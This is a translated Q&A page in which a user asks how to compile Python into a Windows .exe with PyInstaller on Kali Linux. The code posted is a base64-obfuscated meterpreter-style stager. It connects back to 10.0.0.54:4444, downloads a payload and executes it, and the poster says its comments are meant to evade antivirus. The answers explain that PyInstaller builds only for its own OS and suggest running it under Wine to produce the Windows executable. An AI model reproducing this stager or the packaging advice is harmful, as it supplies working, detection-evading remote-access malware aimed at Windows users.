簡體   English   中英

在 Linux 上將 Python 編譯為 .EXE 而不是 .ELF

[英]Compiling Python to .EXE instead of .ELF on Linux

我正在 Kali Linux 上編譯 Python 代碼。 我想生成一個在 Windows 上運行的 .exe 文件。 這些是 PyInstaller 的以下設置:

pyinstaller -F /root/Desktop/Evil_private.py -i Evil_Private.exe

並且代碼只是帶有一些注釋的meterpreter,以避免防病毒檢測。 以下代碼是:

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]
('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQ0KI0kgYW0gbm90IGEgc2NyaXB0IGtpZGRpZQ0KZm9yIHggaW4gcmFuZ2UoMTApOg0KCXRyeToNCgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KCQlzLmNvbm5lY3QoKCcxMC4wLjAuNTQnLDQ0NDQpKQ0KCQlicmVhaw0KCWV4Y2VwdDoNCgkJdGltZS5zbGVlcCg1KQ0KbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQ0KZD1zLnJlY3YobCkNCiNOaWNlIEFOVEktViBicm8sIFdIT0FBQUENCndoaWxlIGxlbihkKTxsOg0KCWQrPXMucmVjdihsLWxlbihkKSkNCmV4ZWMoZCx7J3MnOnN9KQ0K')))

當我編譯它時,我收到一個 .ELF 文件而不是 .EXE。 也許我的目錄錯了? 我不認為是這樣,因為我已經檢查了與 PyInstaller 相關的大多數目錄。 我已經閱讀了 PyInstaller 的指南,但它似乎沒有用。 是否有任何解決方案可以在 Linux 上編譯 Python 代碼以獲得適用於 Windows 的 .exe 文件?

文檔

PyInstaller的輸出特定於活動的操作系統和 Python 的活動版本。 這意味着要為以下內容准備分發:

  • 不同的操作系統
  • 不同版本的 Python
  • 32 位或 64 位操作系統

你在那個操作系統上運行PyInstaller ,在那個版本的 Python 下。 執行PyInstaller的 Python 解釋器是捆綁包的一部分,它特定於操作系統和字長。

您無法在運行 Python 的 Kali 下生成 .exe。

伊格納西奧的回答是正確的。 pyinstaller 的 Linux 版本不會構建 Windows PE。

[令人費解的] 解決方法是安裝wine,然后在wine 上安裝python(在wine 上安裝pyinstaller)。

然后運行wine 的pyinstaller 來構建exe。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM